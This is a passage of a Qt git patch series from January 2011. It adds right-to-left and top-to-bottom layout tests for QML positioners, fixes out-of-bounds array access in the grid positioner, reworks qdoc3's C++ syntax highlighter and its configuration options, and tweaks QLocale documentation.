QCOMPARE(grid->height(), 100.0); + + //QTRY_COMPARE used instead of waiting for the expected time of animation completion + //Note that this means the duration of the animation is NOT tested + + QTRY_COMPARE(one->y(), 0.0); + QTRY_COMPARE(one->x(), 100.0); + QTRY_COMPARE(two->opacity(), 0.0); + QTRY_COMPARE(two->y(), -100.0); + QTRY_COMPARE(two->x(), -100.0); + QTRY_COMPARE(three->y(), 0.0); + QTRY_COMPARE(three->x(), 50.0); + QTRY_COMPARE(four->y(), 0.0); + QTRY_COMPARE(four->x(), 0.0); + QTRY_COMPARE(five->y(), 50.0); + QTRY_COMPARE(five->x(), 100.0); + + //Add 'two' + two->setOpacity(1.0); + QCOMPARE(two->opacity(), 1.0); + QCOMPARE(grid->width(), 150.0); + QCOMPARE(grid->height(), 100.0); + QTest::qWait(0);//Let the animation start + QCOMPARE(two->x(), -100.0); + QCOMPARE(two->y(), -100.0); + QCOMPARE(one->x(), 100.0); + QCOMPARE(one->y(), 0.0); + QCOMPARE(three->x(), 50.0); + QCOMPARE(three->y(), 0.0); + QCOMPARE(four->x(), 0.0); + QCOMPARE(four->y(), 0.0); + QCOMPARE(five->x(), 100.0); + QCOMPARE(five->y(), 50.0); + //Let the animation complete + QTRY_COMPARE(two->x(), 50.0); + QTRY_COMPARE(two->y(), 0.0); + QTRY_COMPARE(one->x(), 100.0); + QTRY_COMPARE(one->y(), 0.0); + QTRY_COMPARE(three->x(), 0.0); + QTRY_COMPARE(three->y(), 0.0); + QTRY_COMPARE(four->x(), 100.0); + QTRY_COMPARE(four->y(), 50.0); + QTRY_COMPARE(five->x(), 50.0); + QTRY_COMPARE(five->y(), 50.0); + + delete canvas; +} + void tst_QDeclarativePositioners::test_grid_zero_columns() { QDeclarativeView *canvas = createView(SRCDIR "/data/gridzerocolumns.qml"); @@ -597,6 +842,8 @@ void tst_QDeclarativePositioners::test_flow() { QDeclarativeView *canvas = createView(SRCDIR "/data/flowtest.qml"); + canvas->rootObject()->setProperty("testRightToLeft", false); + QDeclarativeRectangle *one = canvas->rootObject()->findChild("one"); QVERIFY(one != 0); QDeclarativeRectangle *two = canvas->rootObject()->findChild("two"); @@ -627,6 +874,95 @@ void tst_QDeclarativePositioners::test_flow() delete canvas; } +void tst_QDeclarativePositioners::test_flow_rightToLeft() +{ + QDeclarativeView *canvas = createView(SRCDIR "/data/flowtest.qml"); + + canvas->rootObject()->setProperty("testRightToLeft", true); + + QDeclarativeRectangle *one = canvas->rootObject()->findChild("one"); + QVERIFY(one != 0); + QDeclarativeRectangle *two = canvas->rootObject()->findChild("two"); + QVERIFY(two != 0); + QDeclarativeRectangle *three = canvas->rootObject()->findChild("three"); + QVERIFY(three != 0); + QDeclarativeRectangle *four = canvas->rootObject()->findChild("four"); + QVERIFY(four != 0); + QDeclarativeRectangle *five = canvas->rootObject()->findChild("five"); + QVERIFY(five != 0); + + QCOMPARE(one->x(), 40.0); + QCOMPARE(one->y(), 0.0); + QCOMPARE(two->x(), 20.0); + QCOMPARE(two->y(), 0.0); + QCOMPARE(three->x(), 40.0); + QCOMPARE(three->y(), 50.0); + QCOMPARE(four->x(), 40.0); + QCOMPARE(four->y(), 70.0); + QCOMPARE(five->x(), 30.0); + QCOMPARE(five->y(), 70.0); + + QDeclarativeItem *flow = canvas->rootObject()->findChild("flow"); + QVERIFY(flow); + QCOMPARE(flow->width(), 90.0); + QCOMPARE(flow->height(), 120.0); + + delete canvas; +} + +void tst_QDeclarativePositioners::test_flow_topToBottom() +{ + QDeclarativeView *canvas = createView(SRCDIR "/data/flowtest-toptobottom.qml"); + + canvas->rootObject()->setProperty("testRightToLeft", false); + + QDeclarativeRectangle *one = canvas->rootObject()->findChild("one"); + QVERIFY(one != 0); + QDeclarativeRectangle *two = canvas->rootObject()->findChild("two"); + QVERIFY(two != 0); + QDeclarativeRectangle *three = canvas->rootObject()->findChild("three"); + QVERIFY(three != 0); + QDeclarativeRectangle *four = canvas->rootObject()->findChild("four"); + QVERIFY(four != 0); + QDeclarativeRectangle *five = canvas->rootObject()->findChild("five"); + QVERIFY(five != 0); + + QCOMPARE(one->x(), 0.0); + QCOMPARE(one->y(), 0.0); + QCOMPARE(two->x(), 50.0); + QCOMPARE(two->y(), 0.0); + QCOMPARE(three->x(), 50.0); + QCOMPARE(three->y(), 50.0); + QCOMPARE(four->x(), 100.0); + QCOMPARE(four->y(), 00.0); + QCOMPARE(five->x(), 100.0); + QCOMPARE(five->y(), 50.0); + + QDeclarativeItem *flow = canvas->rootObject()->findChild("flow"); + QVERIFY(flow); + QCOMPARE(flow->height(), 90.0); + QCOMPARE(flow->width(), 150.0); + + canvas->rootObject()->setProperty("testRightToLeft", true); + + QVERIFY(flow); + QCOMPARE(flow->height(), 90.0); + QCOMPARE(flow->width(), 150.0); + + QCOMPARE(one->x(), 100.0); + QCOMPARE(one->y(), 0.0); + QCOMPARE(two->x(), 80.0); + QCOMPARE(two->y(), 0.0); + QCOMPARE(three->x(), 50.0); + QCOMPARE(three->y(), 50.0); + QCOMPARE(four->x(), 0.0); + QCOMPARE(four->y(), 0.0); + QCOMPARE(five->x(), 40.0); + QCOMPARE(five->y(), 50.0); + + delete canvas; +} + void tst_QDeclarativePositioners::test_flow_resize() { QDeclarativeView *canvas = createView(SRCDIR "/data/flowtest.qml"); @@ -634,6 +970,7 @@ void tst_QDeclarativePositioners::test_flow_resize() QDeclarativeItem *root = qobject_cast(canvas->rootObject()); QVERIFY(root); root->setWidth(125); + root->setProperty("testRightToLeft", false); QDeclarativeRectangle *one = canvas->rootObject()->findChild("one"); QVERIFY(one != 0); @@ -660,6 +997,40 @@ void tst_QDeclarativePositioners::test_flow_resize() delete canvas; } +void tst_QDeclarativePositioners::test_flow_resize_rightToLeft() +{ + QDeclarativeView *canvas = createView(SRCDIR "/data/flowtest.qml"); + + QDeclarativeItem *root = qobject_cast(canvas->rootObject()); + QVERIFY(root); + root->setWidth(125); + root->setProperty("testRightToLeft", true); + + QDeclarativeRectangle *one = canvas->rootObject()->findChild("one"); + QVERIFY(one != 0); + QDeclarativeRectangle *two = canvas->rootObject()->findChild("two"); + QVERIFY(two != 0); + QDeclarativeRectangle *three = canvas->rootObject()->findChild("three"); + QVERIFY(three != 0); + QDeclarativeRectangle *four = canvas->rootObject()->findChild("four"); + QVERIFY(four != 0); + QDeclarativeRectangle *five = canvas->rootObject()->findChild("five"); + QVERIFY(five != 0); + + QCOMPARE(one->x(), 75.0); + QCOMPARE(one->y(), 0.0); + QCOMPARE(two->x(), 55.0); + QCOMPARE(two->y(), 0.0); + QCOMPARE(three->x(), 5.0); + QCOMPARE(three->y(), 0.0); + QCOMPARE(four->x(), 75.0); + QCOMPARE(four->y(), 50.0); + QCOMPARE(five->x(), 65.0); + QCOMPARE(five->y(), 50.0); + + delete canvas; +} + void tst_QDeclarativePositioners::test_flow_implicit_resize() { QDeclarativeView *canvas = createView(SRCDIR "/data/flow-testimplicitsize.qml"); @@ -671,16 +1042,21 @@ void tst_QDeclarativePositioners::test_flow_implicit_resize() QCOMPARE(flow->width(), 100.0); QCOMPARE(flow->height(), 120.0); - canvas->rootObject()->setProperty("leftToRight", true); + canvas->rootObject()->setProperty("flowLayout", 0); QCOMPARE(flow->flow(), QDeclarativeFlow::LeftToRight); QCOMPARE(flow->width(), 220.0); QCOMPARE(flow->height(), 50.0); - canvas->rootObject()->setProperty("leftToRight", false); + canvas->rootObject()->setProperty("flowLayout", 1); QCOMPARE(flow->flow(), QDeclarativeFlow::TopToBottom); QCOMPARE(flow->width(), 100.0); QCOMPARE(flow->height(), 120.0); + canvas->rootObject()->setProperty("flowLayout", 2); + QCOMPARE(flow->layoutDirection(), Qt::RightToLeft); + QCOMPARE(flow->width(), 220.0); + QCOMPARE(flow->height(), 50.0); + delete canvas; } -- cgit v0.12 From 28951758263e1512b00ca8e2e91a0cc95d176512 Mon Sep 17 00:00:00 2001 From: Alan Alpert Date: Tue, 18 Jan 2011 17:00:49 +1000 Subject: Avoid index out of bounds array accesses --- src/declarative/graphicsitems/qdeclarativepositioners.cpp | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativepositioners.cpp b/src/declarative/graphicsitems/qdeclarativepositioners.cpp index c4b35a8..b3383ab 100644 --- a/src/declarative/graphicsitems/qdeclarativepositioners.cpp +++ b/src/declarative/graphicsitems/qdeclarativepositioners.cpp @@ -905,6 +905,9 @@ void QDeclarativeGrid::doPositioning(QSizeF *contentSize) c = (numVisible+(m_rows-1))/m_rows; } + if(r==0 || c==0) + return; //Nothing to do + QList maxColWidth; QList maxRowHeight; int childIndex =0; @@ -949,14 +952,14 @@ void QDeclarativeGrid::doPositioning(QSizeF *contentSize) } int widthSum = 0; - for(int j=0; j < c; j++){ + for(int j=0; j < maxColWidth.size(); j++){ if(j) widthSum += spacing(); widthSum += maxColWidth[j]; } int heightSum = 0; - for(int i=0; i < r; i++){ + for(int i=0; i < maxRowHeight.size(); i++){ if(i) heightSum += spacing(); heightSum += maxRowHeight[i]; -- cgit v0.12 From f25ede3df41ddcd947b313b6c5fc597172f73c04 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Tue, 18 Jan 2011 15:30:26 +0100 Subject: Removed unnecessary markup escaping code. There should be no need to escape markup at this point in the marker. --- tools/qdoc3/qmlcodemarker.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tools/qdoc3/qmlcodemarker.cpp b/tools/qdoc3/qmlcodemarker.cpp index fc91cbb..e0ba0e1 100644 --- a/tools/qdoc3/qmlcodemarker.cpp +++ b/tools/qdoc3/qmlcodemarker.cpp @@ -175,7 +175,7 @@ QString QmlCodeMarker::markedUpIncludes(const QStringList& includes) ++inc; } Location location; - return protect(addMarkUp(code, 0, location)); + return addMarkUp(code, 0, location); } QString QmlCodeMarker::functionBeginRegExp(const QString& funcName) -- cgit v0.12 From 05a678de3f2e4fe67dc1f93a2dee18e197c0e1c0 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Tue, 18 Jan 2011 16:40:42 +0100 Subject: Doc: Fixed inconsistent and incorrect terminology. Reviewed-by: Robin Burchell --- src/corelib/tools/qlocale.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/corelib/tools/qlocale.cpp b/src/corelib/tools/qlocale.cpp index fcfa8f0..6515edb 100644 --- a/src/corelib/tools/qlocale.cpp +++ b/src/corelib/tools/qlocale.cpp @@ -2199,7 +2199,7 @@ static quint16 localePrivateIndex(const QLocalePrivate *p) /*! Constructs a QLocale object with the specified \a name, which has the format - "language[_country][.codeset][@modifier]" or "C", where: + "language[_territory][.codeset][@modifier]" or "C", where: \list \i language is a lowercase, two-letter, ISO 639 language code, -- cgit v0.12 From f9d18bcf4d966c74c364dd569d5fddd262a2862c Mon Sep 17 00:00:00 2001 From: David Boddie Date: Tue, 18 Jan 2011 20:29:44 +0100 Subject: Replaced the C++ code marker with the one from Qt Quarterly. More changes still need to be made to restore features from the old marker, including markup for links to classes and functions. --- tools/qdoc3/cppcodemarker.cpp | 483 ++++++++++++++++++++---------------------- 1 file changed, 235 insertions(+), 248 deletions(-) diff --git a/tools/qdoc3/cppcodemarker.cpp b/tools/qdoc3/cppcodemarker.cpp index 8ea1c7f..2b7db62 100644 --- a/tools/qdoc3/cppcodemarker.cpp +++ b/tools/qdoc3/cppcodemarker.cpp @@ -51,29 +51,6 @@ QT_BEGIN_NAMESPACE -static int insertTagAround(QString &result, int pos, int len, const QString &tagName, - const QString &attributes = QString()) -{ - QString s; - //s.reserve(result.size() + tagName.size() * 2 + attributes.size() + 20); - s += result.midRef(0, pos); - s += QLatin1Char('<'); - s += tagName; - if (!attributes.isEmpty()) { - s += QLatin1Char(' '); - s += attributes; - } - s += QLatin1Char('>'); - s += result.midRef(pos, len); - s += QLatin1String("'); - s += result.midRef(pos + len); - int diff = s.length() - result.length(); - result = s; - return diff; -} - /*! The constructor does nothing. */ @@ -159,7 +136,7 @@ QString CppCodeMarker::markedUpCode(const QString &code, const Node *relative, const Location &location) { - return addMarkUp(protect(code), relative, location); + return addMarkUp(code, relative, location); } QString CppCodeMarker::markedUpSynopsis(const Node *node, @@ -437,11 +414,11 @@ QString CppCodeMarker::markedUpIncludes(const QStringList& includes) QStringList::ConstIterator inc = includes.begin(); while (inc != includes.end()) { - code += "#include <<@headerfile>" + *inc + ">\n"; + code += "<@preprocessor>#include <<@headerfile>" + *inc + ">\n"; ++inc; } Location location; - return addMarkUp(code, 0, location); + return code; } QString CppCodeMarker::functionBeginRegExp(const QString& funcName) @@ -867,240 +844,250 @@ const Node *CppCodeMarker::resolveTarget(const QString& target, return 0; } -QString CppCodeMarker::addMarkUp(const QString& protectedCode, +static const char * const typeTable[] = { + "bool", "char", "double", "float", "int", "long", "short", + "signed", "unsigned", "uint", "ulong", "ushort", "uchar", "void", + "qlonglong", "qulonglong", + "qint", "qint8", "qint16", "qint32", "qint64", + "quint", "quint8", "quint16", "quint32", "quint64", + "qreal", "cond", 0 +}; + +static const char * const keywordTable[] = { + "and", "and_eq", "asm", "auto", "bitand", "bitor", "break", + "case", "catch", "class", "compl", "const", "const_cast", + "continue", "default", "delete", "do", "dynamic_cast", "else", + "enum", "explicit", "export", "extern", "false", "for", "friend", + "goto", "if", "include", "inline", "monitor", "mutable", "namespace", + "new", "not", "not_eq", "operator", "or", "or_eq", "private", "protected", + "public", "register", "reinterpret_cast", "return", "sizeof", + "static", "static_cast", "struct", "switch", "template", "this", + "throw", "true", "try", "typedef", "typeid", "typename", "union", + "using", "virtual", "volatile", "wchar_t", "while", "xor", + "xor_eq", "synchronized", + // Qt specific + "signals", "slots", "emit", 0 +}; + +static QString untabified(const QString &in) +{ + QString res; + int col = 0; + int i = 0; + + for (; i < (int) in.length(); i++) { + if (in[i] == QChar('\t')) { + res += QString(" " + (col & 0x7)); + col = (col + 8) & ~0x7; + } else { + res += in[i]; + if (in[i] == QChar('\n')) + col = 0; + } + } + + return res; +} + +/* + @char + @class + @comment + @function + @keyword + @number + @op + @preprocessor + @string + @type +*/ + +QString CppCodeMarker::addMarkUp(const QString &in, const Node * /* relative */, const Location & /* location */) { - static QRegExp globalInclude("#include +<([^<>&]+)>"); - static QRegExp yHasTypeX("(?:^|\n *)([a-zA-Z_][a-zA-Z_0-9]*)" - "(?:<[^;{}]+>)?(?: *(?:\\*|&) *| +)" - "([a-zA-Z_][a-zA-Z_0-9]*)? *[,;()=]"); - static QRegExp xNewY("([a-zA-Z_][a-zA-Z_0-9]*) *= *new +([a-zA-Z_0-9]+)"); - static QRegExp xDotY("\\b([a-zA-Z_][a-zA-Z_0-9]*) *(?:\\.|->|,[ \n]*S(?:IGNAL|LOT)\\() *" - "([a-zA-Z_][a-zA-Z_0-9]*)(?= *\\()"); - static QRegExp xIsStaticZOfY("[\n:;{(=] *(([a-zA-Z_0-9]+)::([a-zA-Z_0-9]+))(?= *\\()"); - static QRegExp classX("[:,][ \n]*(?:p(?:ublic|r(?:otected|ivate))[ \n]+)?" - "([a-zA-Z_][a-zA-Z_0-9]*)"); - static QRegExp globalX("[\n{()=] *([a-zA-Z_][a-zA-Z_0-9]*)[ \n]*\\("); - static QRegExp multiLineComment("/(?:( )?\\*(?:[^*]+|\\*(?! /))*\\*\\1/)"); - multiLineComment.setMinimal(true); - static QRegExp singleLineComment("[^:]//(?!!)[^!\\n]*"); - static QRegExp preprocessor("(?:^|\n)(#[ \t]*(?:include|if|elif|endif|error|pragma|define" - "|warning)(?:(?:\\\\\n|\\n#)[^\n]*)*)"); - static QRegExp literals(""(?:[^\\\\&]|\\\\[^\n]|&(?!quot;))*"" - "|'(?:[^\\\\]|\\\\(?:[^x0-9']|x[0-9a-f]{1,4}|[0-9]{1,3}))'"); - - QString result = protectedCode; - int pos; - - if (!hurryUp()) { - /* - Mark global includes. For example: - - #include <<@headerfile>QString - */ - pos = 0; - while ((pos = result.indexOf(globalInclude, pos)) != -1) - pos += globalInclude.matchedLength() - + insertTagAround(result, - globalInclude.pos(1), - globalInclude.cap(1).length(), - "@headerfile"); - - /* - Look for variable definitions and similar constructs, mark - the data type, and remember the type of the variable. - */ - QMap > typesForVariable; - pos = 0; - while ((pos = yHasTypeX.indexIn(result, pos)) != -1) { - QString x = yHasTypeX.cap(1); - QString y = yHasTypeX.cap(2); - - if (!y.isEmpty()) - typesForVariable[y].insert(x); - - /* - Without the minus one at the end, 'void member(Class - var)' would give 'member' as a variable of type 'void', - but would ignore 'Class var'. (### Is that true?) - */ - pos += yHasTypeX.matchedLength() - + insertTagAround(result, - yHasTypeX.pos(1), - x.length(), - "@type") - 1; - } +#define readChar() \ + ch = (i < (int)code.length()) ? code[i++].cell() : EOF - /* - Do syntax highlighting of preprocessor directives. - */ - pos = 0; - while ((pos = preprocessor.indexIn(result, pos)) != -1) - pos += preprocessor.matchedLength() - + insertTagAround(result, - preprocessor.pos(1), - preprocessor.cap(1).length(), - "@preprocessor"); - - /* - Deal with string and character literals. - */ - pos = 0; - while ((pos = literals.indexIn(result, pos)) != -1) - pos += literals.matchedLength() - + insertTagAround(result, - pos, - literals.matchedLength(), - result.at(pos) == - QLatin1Char(' ') ? "@string" : "@char"); - - /* - Look for 'var = new Class'. - */ - pos = 0; - while ((pos = xNewY.indexIn(result, pos)) != -1) { - QString x = xNewY.cap(1); - QString y = xNewY.cap(2); - typesForVariable[x].insert(y); - - pos += xNewY.matchedLength() + insertTagAround(result, - xNewY.pos(2), - y.length(), - "@type"); - } + QString code = in; - /* - Insert some stuff that cannot harm. - */ - typesForVariable["qApp"].insert("QApplication"); - - /* - Add link to ': Class'. - */ - pos = 0; - while ((pos = classX.indexIn(result, pos)) != -1) - pos += classX.matchedLength() - + insertTagAround(result, - classX.pos(1), - classX.cap(1).length(), - "@type") - 1; - - /* - Find use of any of - - var.method() - var->method() - var, SIGNAL(method()) - var, SLOT(method()). - */ - pos = 0; - while ((pos = xDotY.indexIn(result, pos)) != -1) { - QString x = xDotY.cap(1); - QString y = xDotY.cap(2); - - QSet types = typesForVariable.value(x); - pos += xDotY.matchedLength() - + insertTagAround(result, - xDotY.pos(2), - xDotY.cap(2).length(), - "@func", - (types.count() == 1) ? "target=\"" - + protect(*types.begin() + "::" + y) - + "()\"" : QString()); - } + QMap types; + QMap keywords; + int j = 0; + while (typeTable[j] != 0) { + types.insert(QString(typeTable[j]), 0); + j++; + } + j = 0; + while (keywordTable[j] != 0) { + keywords.insert(QString(keywordTable[j]), 0); + j++; + } - /* - Add link to 'Class::method()'. - */ - pos = 0; - while ((pos = xIsStaticZOfY.indexIn(result, pos)) != -1) { - QString x = xIsStaticZOfY.cap(1); - QString z = xIsStaticZOfY.cap(3); - - pos += insertTagAround(result, - xIsStaticZOfY.pos(3), - z.length(), - "@func", - "target=\"" + protect(x) + "()\""); - pos += insertTagAround(result, - xIsStaticZOfY.pos(2), - xIsStaticZOfY.cap(2).length(), - "@type"); - pos += xIsStaticZOfY.matchedLength() - 1; - } + QString out(""); + int braceDepth = 0; + int parenDepth = 0; + int i = 0; + char ch; + QRegExp classRegExp("Qt?(?:[A-Z3]+[a-z][A-Za-z]*|t)"); + QRegExp functionRegExp("q([A-Z][a-z]+)+"); + + readChar(); + + while (ch != EOF) { + int second = i; + QString tag; + + if (isalpha(ch) || ch == '_') { + QString ident; + do { + ident += ch; + readChar(); + } while (isalnum(ch) || ch == '_'); + + if (classRegExp.exactMatch(ident)) { + tag = QLatin1String("class"); + } else if (functionRegExp.exactMatch(ident)) { + tag = QLatin1String("function"); + } else if (types.contains(ident)) { + tag = QLatin1String("type"); + } else if (keywords.contains(ident)) { + tag = QLatin1String("keyword"); + } else if (braceDepth == 0 && parenDepth == 0) { + if (QString(code.unicode() + i - 1, code.length() - (i - 1)) + .indexOf(QRegExp(QLatin1String("^\\s*\\("))) == 0) + tag = QLatin1String("function"); + } + } else if (isdigit(ch)) { + do { + readChar(); + } while (isalnum(ch) || ch == '.'); + tag = QLatin1String("number"); + } else { + switch (ch) { + case '+': + case '-': + case '!': + case '%': + case '^': + case '&': + case '*': + case ',': + case '.': + case '<': + case '=': + case '>': + case '?': + case '[': + case ']': + case '|': + case '~': + readChar(); + tag = QLatin1String("op"); + break; + case '"': + readChar(); + + while (ch != EOF && ch != '"') { + if (ch == '\\') + readChar(); + readChar(); + } + readChar(); + tag = QLatin1String("string"); + break; + case '#': + readChar(); + while (ch != EOF && ch != '\n') { + if (ch == '\\') + readChar(); + readChar(); + } + tag = QLatin1String("preprocessor"); + break; + case '\'': + readChar(); + + while (ch != EOF && ch != '\'') { + if (ch == '\\') + readChar(); + readChar(); + } + readChar(); + tag = QLatin1String("char"); + break; + case '(': + readChar(); + parenDepth++; + break; + case ')': + readChar(); + parenDepth--; + break; + case ':': + readChar(); + if (ch == ':') { + readChar(); + tag = QLatin1String("op"); + } + break; + case '/': + readChar(); + if (ch == '/') { + do { + readChar(); + } while (ch != EOF && ch != '\n'); + tag = QLatin1String("comment"); + } else if (ch == '*') { + bool metAster = false; + bool metAsterSlash = false; + + readChar(); + + while (!metAsterSlash) { + if (ch == EOF) + break; + + if (ch == '*') + metAster = true; + else if (metAster && ch == '/') + metAsterSlash = true; + else + metAster = false; + readChar(); + } + tag = QLatin1String("comment"); + } else { + tag = QLatin1String("op"); + } + break; + case '{': + readChar(); + braceDepth++; + break; + case '}': + readChar(); + braceDepth--; + break; + default: + readChar(); + } + } - /* - Add link to 'globalFunction()'. - */ - pos = 0; - while ((pos = globalX.indexIn(result, pos)) != -1) { - QString x = globalX.cap(1); - if (x != "QT_FORWARD_DECLARE_CLASS") { - pos += globalX.matchedLength() - + insertTagAround(result, - globalX.pos(1), - x.length(), - "@func", - "target=\"" + protect(x) + "()\"") - 1; - } - else - pos += globalX.matchedLength(); - } - } + if (!tag.isEmpty()) + out += QLatin1String("<@") + tag + QLatin1String(">"); - /* - Do syntax highlighting of comments. Also alter the code in a - minor way, so that we can include comments in documentation - comments. - */ - pos = 0; - while (pos != -1) { - int mlpos; - int slpos; - int len; - slpos = singleLineComment.indexIn(result, pos); - mlpos = multiLineComment.indexIn(result, pos); - - if (slpos == -1 && mlpos == -1) - break; - - if (slpos == -1) { - pos = mlpos; - len = multiLineComment.matchedLength(); - } - else if (mlpos == -1) { - pos = slpos + 1; - len = singleLineComment.matchedLength() - 1; - } - else { - if (slpos < mlpos) { - pos = slpos + 1; - len = singleLineComment.matchedLength() - 1; - } - else { - pos = mlpos; - len = multiLineComment.matchedLength(); - } - } + if (tag.isEmpty() && i == code.length()) + out += protect(code.mid(second - 1, i - second + 1)); + else + out += protect(code.mid(second - 1, i - second)); - if (result.at(pos + 1) == QLatin1Char(' ')) { - result.remove(pos + len - 2, 1); - result.remove(pos + 1, 1); - len -= 2; + if (!tag.isEmpty()) + out += QLatin1String(""); - forever { - int endcodePos = result.indexOf("\\ endcode", pos); - if (endcodePos == -1 || endcodePos >= pos + len) - break; - result.remove(endcodePos + 1, 1); - len -= 1; - } - } - pos += len + insertTagAround(result, pos, len, "@comment"); } - return result; + return out; } #ifdef QDOC_QML -- cgit v0.12 From fc66f45827b723eb207f9bad113523f0c26c0d44 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Tue, 18 Jan 2011 20:30:57 +0100 Subject: Define what the -slow command line option does. Added configuration options for syntax highlighting and linking. These are also enabled if the -slow command line option is used. --- tools/qdoc3/codemarker.cpp | 12 ++++++------ tools/qdoc3/codemarker.h | 4 +--- tools/qdoc3/config.h | 2 ++ tools/qdoc3/ditaxmlgenerator.cpp | 3 --- tools/qdoc3/ditaxmlgenerator.h | 1 - tools/qdoc3/htmlgenerator.cpp | 8 ++++---- tools/qdoc3/htmlgenerator.h | 2 +- tools/qdoc3/main.cpp | 3 ++- 8 files changed, 16 insertions(+), 19 deletions(-) diff --git a/tools/qdoc3/codemarker.cpp b/tools/qdoc3/codemarker.cpp index f1b6346..89933d3 100644 --- a/tools/qdoc3/codemarker.cpp +++ b/tools/qdoc3/codemarker.cpp @@ -59,7 +59,7 @@ QList CodeMarker::markers; been read. */ CodeMarker::CodeMarker() - : slow(false) + : linksInMarkup(false) { markers.prepend(this); } @@ -74,14 +74,14 @@ CodeMarker::~CodeMarker() } /*! - The only thing a code market initializes is its \e{slow} - flag. The \e{slow} flag indicates whether the operations - that slow down qdoc are to be performed or not. It is - turned off by default. + The only thing a code market initializes is its \e{linksInMarkup} + flag. The \e{linksInMarkup} flag indicates whether links are created for + names that have corresponding entries in the API documentation. + It is turned off by default. */ void CodeMarker::initializeMarker(const Config &config) { - slow = config.getBool(QLatin1String(CONFIG_SLOW)); + linksInMarkup = config.getBool(QLatin1String(CONFIG_LINKSINMARKUP)); } /*! diff --git a/tools/qdoc3/codemarker.h b/tools/qdoc3/codemarker.h index 3cf3984..e643082 100644 --- a/tools/qdoc3/codemarker.h +++ b/tools/qdoc3/codemarker.h @@ -164,8 +164,6 @@ class CodeMarker static QString stringForNode(const Node *node); protected: - bool hurryUp() const { return !slow; } - virtual QString sortName(const Node *node); QString protect(const QString &string); QString typified(const QString &string); @@ -184,7 +182,7 @@ class CodeMarker private: QString macName(const Node *parent, const QString &name = QString()); - bool slow; + bool linksInMarkup; static QString defaultLang; static QList markers; diff --git a/tools/qdoc3/config.h b/tools/qdoc3/config.h index bc36f3d..2dd7d50 100644 --- a/tools/qdoc3/config.h +++ b/tools/qdoc3/config.h @@ -141,6 +141,7 @@ class Config #define CONFIG_IMAGES "images" #define CONFIG_INDEXES "indexes" #define CONFIG_LANGUAGE "language" +#define CONFIG_LINKSINMARKUP "linksinmarkup" #define CONFIG_MACRO "macro" #define CONFIG_NATURALLANGUAGE "naturallanguage" #define CONFIG_OBSOLETELINKS "obsoletelinks" @@ -163,6 +164,7 @@ class Config #define CONFIG_STYLE "style" #define CONFIG_STYLES "styles" #define CONFIG_STYLESHEETS "stylesheets" +#define CONFIG_SYNTAXHIGHLIGHTING "syntaxhighlighting" #define CONFIG_TEMPLATEDIR "templatedir" #define CONFIG_TABSIZE "tabsize" #define CONFIG_TAGFILE "tagfile" diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 7b40886..6f9d537 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -354,7 +354,6 @@ DitaXmlGenerator::DitaXmlGenerator() offlineDocs(true), funcLeftParen("\\S(\\()"), myTree(0), - slow(false), obsoleteLinks(false), noLinks(false), tableColumnCount(0) @@ -461,8 +460,6 @@ void DitaXmlGenerator::initializeGenerator(const Config &config) ++edition; } - slow = config.getBool(CONFIG_SLOW); - stylesheets = config.getStringList(DitaXmlGenerator::format() + Config::dot + DITAXMLGENERATOR_STYLESHEETS); diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index 1a42e5f..640d7db 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -291,7 +291,6 @@ class DitaXmlGenerator : public PageGenerator QStringList stylesheets; QStringList customHeadElements; const Tree* myTree; - bool slow; bool obsoleteLinks; bool noLinks; int tableColumnCount; diff --git a/tools/qdoc3/htmlgenerator.cpp b/tools/qdoc3/htmlgenerator.cpp index ebc2713..a3156c3 100644 --- a/tools/qdoc3/htmlgenerator.cpp +++ b/tools/qdoc3/htmlgenerator.cpp @@ -219,7 +219,7 @@ HtmlGenerator::HtmlGenerator() threeColumnEnumValueTable(true), funcLeftParen("\\S(\\()"), myTree(0), - slow(false), + syntaxHighlighting(false), obsoleteLinks(false) { } @@ -320,7 +320,7 @@ void HtmlGenerator::initializeGenerator(const Config &config) ++edition; } - slow = config.getBool(CONFIG_SLOW); + syntaxHighlighting = config.getBool(CONFIG_SYNTAXHIGHLIGHTING); codeIndent = config.getInt(CONFIG_CODEINDENT); @@ -472,7 +472,7 @@ int HtmlGenerator::generateAtom(const Atom *atom, out() << protectEnc(plainCode(atom->string())); } else { - out() << highlightedCode(atom->string(), marker, relative); + out() << protectEnc(plainCode(atom->string())); } out() << formattingRightMap()[ATOM_FORMATTING_TELETYPE]; break; @@ -2781,7 +2781,7 @@ QString HtmlGenerator::highlightedCode(const QString& markedCode, } - if (slow) { + if (syntaxHighlighting) { // is this block ever used at all? // replace all <@func> tags: "(<@func target=\"([^\"]*)\">)(.*)()" src = html; diff --git a/tools/qdoc3/htmlgenerator.h b/tools/qdoc3/htmlgenerator.h index f5d2427..6701184 100644 --- a/tools/qdoc3/htmlgenerator.h +++ b/tools/qdoc3/htmlgenerator.h @@ -279,7 +279,7 @@ class HtmlGenerator : public PageGenerator QStringList stylesheets; QStringList customHeadElements; const Tree *myTree; - bool slow; + bool syntaxHighlighting; bool obsoleteLinks; QMap moduleClassMap; QMap moduleNamespaceMap; diff --git a/tools/qdoc3/main.cpp b/tools/qdoc3/main.cpp index 782df39..8193d2d 100644 --- a/tools/qdoc3/main.cpp +++ b/tools/qdoc3/main.cpp @@ -147,7 +147,8 @@ static void processQdocconfFile(const QString &fileName) QStringList() << defaults[i].value); ++i; } - config.setStringList(CONFIG_SLOW, QStringList(slow ? "true" : "false")); + config.setStringList(CONFIG_SYNTAXHIGHLIGHTING, QStringList(slow ? "true" : "false")); + config.setStringList(CONFIG_LINKSINMARKUP, QStringList(slow ? "true" : "false")); config.setStringList(CONFIG_SHOWINTERNAL, QStringList(showInternal ? "true" : "false")); config.setStringList(CONFIG_OBSOLETELINKS, -- cgit v0.12 From 9c1e67d83f6175f339e6771be05ee60ba72426b3 Mon Sep 17 00:00:00 2001 From: Alan Alpert Date: Wed, 19 Jan 2011 08:38:49 +1000 Subject: 